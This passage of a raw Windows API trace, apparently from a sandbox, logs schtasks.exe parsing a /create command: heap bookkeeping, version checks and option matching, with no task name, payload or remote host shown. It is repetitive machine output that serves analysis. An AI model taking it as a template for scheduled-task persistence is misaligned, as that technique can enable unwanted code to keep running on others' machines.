RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cdd0) returned 0x20 [0081.646] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cdd0 | out: hHeap=0x110000) returned 1 [0081.646] GetProcessHeap () returned 0x110000 [0081.646] GetProcessHeap () returned 0x110000 [0081.646] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce00) returned 1 [0081.646] GetProcessHeap () returned 0x110000 [0081.646] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce00) returned 0x24 [0081.647] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce00 | out: hHeap=0x110000) returned 1 [0081.647] GetProcessHeap () returned 0x110000 [0081.647] GetProcessHeap () returned 0x110000 [0081.647] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce30) returned 1 [0081.647] GetProcessHeap () returned 0x110000 [0081.647] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce30) returned 0x20 [0081.648] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce30 | out: hHeap=0x110000) returned 1 [0081.648] GetProcessHeap () returned 0x110000 [0081.648] GetProcessHeap () returned 0x110000 [0081.648] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c430) returned 1 [0081.648] GetProcessHeap () returned 0x110000 [0081.648] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c430) returned 0x8 [0081.648] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c430 | out: hHeap=0x110000) returned 1 [0081.648] GetProcessHeap () returned 0x110000 [0081.648] GetProcessHeap () returned 0x110000 [0081.648] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce60) returned 1 [0081.648] GetProcessHeap () returned 0x110000 [0081.648] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce60) returned 0x20 [0081.648] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce60 | out: hHeap=0x110000) returned 1 [0081.648] GetProcessHeap () returned 0x110000 [0081.648] GetProcessHeap () returned 0x110000 [0081.649] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c450) returned 1 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c450) returned 0x10 [0081.649] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c450 | out: hHeap=0x110000) returned 1 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce90) returned 1 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12ce90) returned 0x20 [0081.649] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12ce90 | out: hHeap=0x110000) returned 1 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c470) returned 1 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c470) returned 0x8 [0081.649] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c470 | out: hHeap=0x110000) returned 1 [0081.649] GetProcessHeap () returned 0x110000 [0081.649] GetProcessHeap () returned 0x110000 [0081.650] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cec0) returned 1 [0081.650] GetProcessHeap () returned 0x110000 [0081.650] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cec0) returned 0x20 [0081.650] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cec0 | out: hHeap=0x110000) returned 1 [0081.650] GetProcessHeap () returned 0x110000 [0081.650] GetProcessHeap () returned 0x110000 [0081.650] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c5b0) returned 1 [0081.650] GetProcessHeap () returned 0x110000 [0081.650] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c5b0) returned 0xae [0081.651] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c5b0 | out: hHeap=0x110000) returned 1 [0081.651] GetProcessHeap () returned 0x110000 [0081.651] GetProcessHeap () returned 0x110000 [0081.651] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cef0) returned 1 [0081.651] GetProcessHeap () returned 0x110000 [0081.651] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cef0) returned 0x20 [0081.651] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cef0 | out: hHeap=0x110000) returned 1 [0081.651] GetProcessHeap () returned 0x110000 [0081.651] GetProcessHeap () returned 0x110000 [0081.651] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12c670) returned 1 [0081.652] GetProcessHeap () returned 0x110000 [0081.652] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12c670) returned 0x8 [0081.652] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12c670 | out: hHeap=0x110000) returned 1 [0081.652] GetProcessHeap () returned 0x110000 [0081.652] GetProcessHeap () returned 0x110000 [0081.652] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf20) returned 1 [0081.652] GetProcessHeap () returned 0x110000 [0081.652] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cf20) returned 0x20 [0081.652] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf20 | out: hHeap=0x110000) returned 1 [0081.652] GetProcessHeap () returned 0x110000 [0081.653] GetProcessHeap () returned 0x110000 [0081.653] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d6c0) returned 1 [0081.653] GetProcessHeap () returned 0x110000 [0081.653] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12d6c0) returned 0x10 [0081.653] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12d6c0 | out: hHeap=0x110000) returned 1 [0081.653] GetProcessHeap () returned 0x110000 [0081.653] GetProcessHeap () returned 0x110000 [0081.653] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf50) returned 1 [0081.653] GetProcessHeap () returned 0x110000 [0081.653] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cf50) returned 0x20 [0081.654] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf50 | out: hHeap=0x110000) returned 1 [0081.654] GetProcessHeap () returned 0x110000 [0081.654] GetProcessHeap () returned 0x110000 [0081.654] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12de90) returned 1 [0081.654] GetProcessHeap () returned 0x110000 [0081.654] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12de90) returned 0x6 [0081.654] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12de90 | out: hHeap=0x110000) returned 1 [0081.654] GetProcessHeap () returned 0x110000 [0081.654] GetProcessHeap () returned 0x110000 [0081.655] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf80) returned 1 [0081.655] GetProcessHeap () returned 0x110000 [0081.655] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12cf80) returned 0x20 [0081.655] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12cf80 | out: hHeap=0x110000) returned 1 [0081.655] GetProcessHeap () returned 0x110000 [0081.655] GetProcessHeap () returned 0x110000 [0081.656] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x1255d0) returned 1 [0081.656] GetProcessHeap () returned 0x110000 [0081.656] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x1255d0) returned 0x18 [0081.656] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x1255d0 | out: hHeap=0x110000) returned 1 [0081.656] SetLastError (dwErrCode=0x0) [0081.657] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0081.657] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0081.657] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0081.657] VerifyVersionInfoW (in: lpVersionInformation=0xfc610, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc610) returned 1 [0081.657] SetLastError (dwErrCode=0x0) [0081.657] lstrlenW (lpString="create") returned 6 [0081.657] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0081.657] SetLastError (dwErrCode=0x490) [0081.657] SetLastError (dwErrCode=0x0) [0081.657] lstrlenW (lpString="create") returned 6 [0081.657] GetProcessHeap () returned 0x110000 [0081.657] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cf80 [0081.657] GetProcessHeap () returned 0x110000 [0081.657] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12d6c0 [0081.657] _memicmp (_Buf1=0x12d6c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.658] GetProcessHeap () returned 0x110000 [0081.658] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x16) returned 0x12d6e0 [0081.658] SetLastError (dwErrCode=0x0) [0081.658] _memicmp (_Buf1=0x12bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.658] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12bdd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0081.658] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0081.659] GetProcessHeap () returned 0x110000 [0081.659] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x74e) returned 0x12de90 [0081.659] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x12de90 | out: lpData=0x12de90) returned 1 [0081.660] VerQueryValueW (in: pBlock=0x12de90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc6f8, puLen=0xfc760 | out: lplpBuffer=0xfc6f8*=0x12e22c, puLen=0xfc760) returned 1 [0081.660] _memicmp (_Buf1=0x12bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.660] _vsnwprintf (in: _Buffer=0x12bdd0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc6d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0081.660] VerQueryValueW (in: pBlock=0x12de90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc768, puLen=0xfc758 | out: lplpBuffer=0xfc768*=0x12e058, puLen=0xfc758) returned 1 [0081.660] lstrlenW (lpString="schtasks.exe") returned 12 [0081.660] lstrlenW (lpString="schtasks.exe") returned 12 [0081.660] lstrlenW (lpString=".EXE") returned 4 [0081.660] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0081.660] lstrlenW (lpString="schtasks.exe") returned 12 [0081.660] lstrlenW (lpString=".EXE") returned 4 [0081.660] lstrlenW (lpString="schtasks") returned 8 [0081.660] lstrlenW (lpString="/create") returned 7 [0081.660] _memicmp (_Buf1=0x12bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.660] _vsnwprintf (in: _Buffer=0x12bdd0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc6d8 | out: _Buffer="schtasks /create") returned 16 [0081.661] _memicmp (_Buf1=0x12bc50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.661] GetProcessHeap () returned 0x110000 [0081.661] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x20) returned 0x12cf50 [0081.661] _memicmp (_Buf1=0x12bc70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.661] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x12d480, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0081.661] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0081.661] GetProcessHeap () returned 0x110000 [0081.661] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x30) returned 0x127c90 [0081.661] _vsnwprintf (in: _Buffer=0x12c1d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc6d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0081.661] GetProcessHeap () returned 0x110000 [0081.661] GetProcessHeap () returned 0x110000 [0081.661] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12de90) returned 1 [0081.661] GetProcessHeap () returned 0x110000 [0081.661] RtlSizeHeap (HeapHandle=0x110000, Flags=0x0, MemoryPointer=0x12de90) returned 0x74e [0081.662] HeapFree (in: hHeap=0x110000, dwFlags=0x0, lpMem=0x12de90 | out: hHeap=0x110000) returned 1 [0081.662] SetLastError (dwErrCode=0x0) [0081.662] GetThreadLocale () returned 0x409 [0081.662] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.662] lstrlenW (lpString="create") returned 6 [0081.662] GetThreadLocale () returned 0x409 [0081.662] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.662] lstrlenW (lpString="?") returned 1 [0081.663] GetThreadLocale () returned 0x409 [0081.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.663] lstrlenW (lpString="s") returned 1 [0081.663] GetThreadLocale () returned 0x409 [0081.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.663] lstrlenW (lpString="u") returned 1 [0081.663] GetThreadLocale () returned 0x409 [0081.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.663] lstrlenW (lpString="p") returned 1 [0081.663] GetThreadLocale () returned 0x409 [0081.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.663] lstrlenW (lpString="ru") returned 2 [0081.663] GetThreadLocale () returned 0x409 [0081.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.663] lstrlenW (lpString="rp") returned 2 [0081.663] GetThreadLocale () returned 0x409 [0081.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.663] lstrlenW (lpString="sc") returned 2 [0081.663] GetThreadLocale () returned 0x409 [0081.663] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.663] lstrlenW (lpString="mo") returned 2 [0081.664] GetThreadLocale () returned 0x409 [0081.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.664] lstrlenW (lpString="d") returned 1 [0081.664] GetThreadLocale () returned 0x409 [0081.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.664] lstrlenW (lpString="m") returned 1 [0081.664] GetThreadLocale () returned 0x409 [0081.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.664] lstrlenW (lpString="i") returned 1 [0081.664] GetThreadLocale () returned 0x409 [0081.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.664] lstrlenW (lpString="tn") returned 2 [0081.664] GetThreadLocale () returned 0x409 [0081.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.664] lstrlenW (lpString="tr") returned 2 [0081.664] GetThreadLocale () returned 0x409 [0081.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.664] lstrlenW (lpString="st") returned 2 [0081.664] GetThreadLocale () returned 0x409 [0081.664] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.665] lstrlenW (lpString="sd") returned 2 [0081.665] GetThreadLocale () returned 0x409 [0081.665] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.665] lstrlenW (lpString="ed") returned 2 [0081.665] GetThreadLocale () returned 0x409 [0081.665] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.665] lstrlenW (lpString="it") returned 2 [0081.665] GetThreadLocale () returned 0x409 [0081.665] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.665] lstrlenW (lpString="et") returned 2 [0081.665] GetThreadLocale () returned 0x409 [0081.665] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.665] lstrlenW (lpString="k") returned 1 [0081.665] GetThreadLocale () returned 0x409 [0081.665] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.665] lstrlenW (lpString="du") returned 2 [0081.665] GetThreadLocale () returned 0x409 [0081.665] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.665] lstrlenW (lpString="ri") returned 2 [0081.665] GetThreadLocale () returned 0x409 [0081.665] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.666] lstrlenW (lpString="z") returned 1 [0081.666] GetThreadLocale () returned 0x409 [0081.666] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.666] lstrlenW (lpString="f") returned 1 [0081.666] GetThreadLocale () returned 0x409 [0081.666] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.666] lstrlenW (lpString="v1") returned 2 [0081.666] GetThreadLocale () returned 0x409 [0081.666] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.666] lstrlenW (lpString="xml") returned 3 [0081.666] GetThreadLocale () returned 0x409 [0081.666] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.666] lstrlenW (lpString="ec") returned 2 [0081.666] GetThreadLocale () returned 0x409 [0081.666] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.666] lstrlenW (lpString="rl") returned 2 [0081.667] GetThreadLocale () returned 0x409 [0081.667] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.667] lstrlenW (lpString="delay") returned 5 [0081.667] GetThreadLocale () returned 0x409 [0081.667] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0081.667] lstrlenW (lpString="np") returned 2 [0081.667] SetLastError (dwErrCode=0x0) [0081.667] SetLastError (dwErrCode=0x0) [0081.667] lstrlenW (lpString="/create") returned 7 [0081.667] lstrlenW (lpString="-/") returned 2 [0081.667] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.667] lstrlenW (lpString="create") returned 6 [0081.667] lstrlenW (lpString="create") returned 6 [0081.667] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.667] lstrlenW (lpString="create") returned 6 [0081.667] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.668] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|create|") returned 8 [0081.668] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|create|") returned 8 [0081.668] lstrlenW (lpString="|create|") returned 8 [0081.668] lstrlenW (lpString="|create|") returned 8 [0081.668] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0081.668] SetLastError (dwErrCode=0x0) [0081.668] SetLastError (dwErrCode=0x0) [0081.668] SetLastError (dwErrCode=0x0) [0081.668] lstrlenW (lpString="/tn") returned 3 [0081.668] lstrlenW (lpString="-/") returned 2 [0081.668] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.668] lstrlenW (lpString="create") returned 6 [0081.668] lstrlenW (lpString="create") returned 6 [0081.668] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.668] lstrlenW (lpString="tn") returned 2 [0081.668] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.669] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|create|") returned 8 [0081.669] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.669] lstrlenW (lpString="|create|") returned 8 [0081.669] lstrlenW (lpString="|tn|") returned 4 [0081.669] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0081.669] SetLastError (dwErrCode=0x490) [0081.669] lstrlenW (lpString="?") returned 1 [0081.669] lstrlenW (lpString="?") returned 1 [0081.669] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.669] lstrlenW (lpString="tn") returned 2 [0081.669] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.669] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|?|") returned 3 [0081.669] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.669] lstrlenW (lpString="|?|") returned 3 [0081.669] lstrlenW (lpString="|tn|") returned 4 [0081.669] SetLastError (dwErrCode=0x490) [0081.669] lstrlenW (lpString="s") returned 1 [0081.669] lstrlenW (lpString="s") returned 1 [0081.669] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.669] lstrlenW (lpString="tn") returned 2 [0081.670] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.670] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|s|") returned 3 [0081.670] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.670] lstrlenW (lpString="|s|") returned 3 [0081.670] lstrlenW (lpString="|tn|") returned 4 [0081.670] SetLastError (dwErrCode=0x490) [0081.670] lstrlenW (lpString="u") returned 1 [0081.670] lstrlenW (lpString="u") returned 1 [0081.670] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.670] lstrlenW (lpString="tn") returned 2 [0081.670] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.670] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|u|") returned 3 [0081.670] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.670] lstrlenW (lpString="|u|") returned 3 [0081.670] lstrlenW (lpString="|tn|") returned 4 [0081.670] SetLastError (dwErrCode=0x490) [0081.670] lstrlenW (lpString="p") returned 1 [0081.670] lstrlenW (lpString="p") returned 1 [0081.670] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.670] lstrlenW (lpString="tn") returned 2 [0081.671] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.671] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|p|") returned 3 [0081.671] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.671] lstrlenW (lpString="|p|") returned 3 [0081.671] lstrlenW (lpString="|tn|") returned 4 [0081.671] SetLastError (dwErrCode=0x490) [0081.671] lstrlenW (lpString="ru") returned 2 [0081.671] lstrlenW (lpString="ru") returned 2 [0081.671] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.671] lstrlenW (lpString="tn") returned 2 [0081.671] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.671] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ru|") returned 4 [0081.671] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.671] lstrlenW (lpString="|ru|") returned 4 [0081.671] lstrlenW (lpString="|tn|") returned 4 [0081.671] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0081.671] SetLastError (dwErrCode=0x490) [0081.671] lstrlenW (lpString="rp") returned 2 [0081.671] lstrlenW (lpString="rp") returned 2 [0081.671] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.671] lstrlenW (lpString="tn") returned 2 [0081.671] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.671] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rp|") returned 4 [0081.671] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.671] lstrlenW (lpString="|rp|") returned 4 [0081.671] lstrlenW (lpString="|tn|") returned 4 [0081.671] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0081.671] SetLastError (dwErrCode=0x490) [0081.671] lstrlenW (lpString="sc") returned 2 [0081.672] lstrlenW (lpString="sc") returned 2 [0081.672] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.672] lstrlenW (lpString="tn") returned 2 [0081.672] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.672] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.672] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.672] lstrlenW (lpString="|sc|") returned 4 [0081.672] lstrlenW (lpString="|tn|") returned 4 [0081.672] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0081.672] SetLastError (dwErrCode=0x490) [0081.672] lstrlenW (lpString="mo") returned 2 [0081.672] lstrlenW (lpString="mo") returned 2 [0081.672] _memicmp (_Buf1=0x12c280, 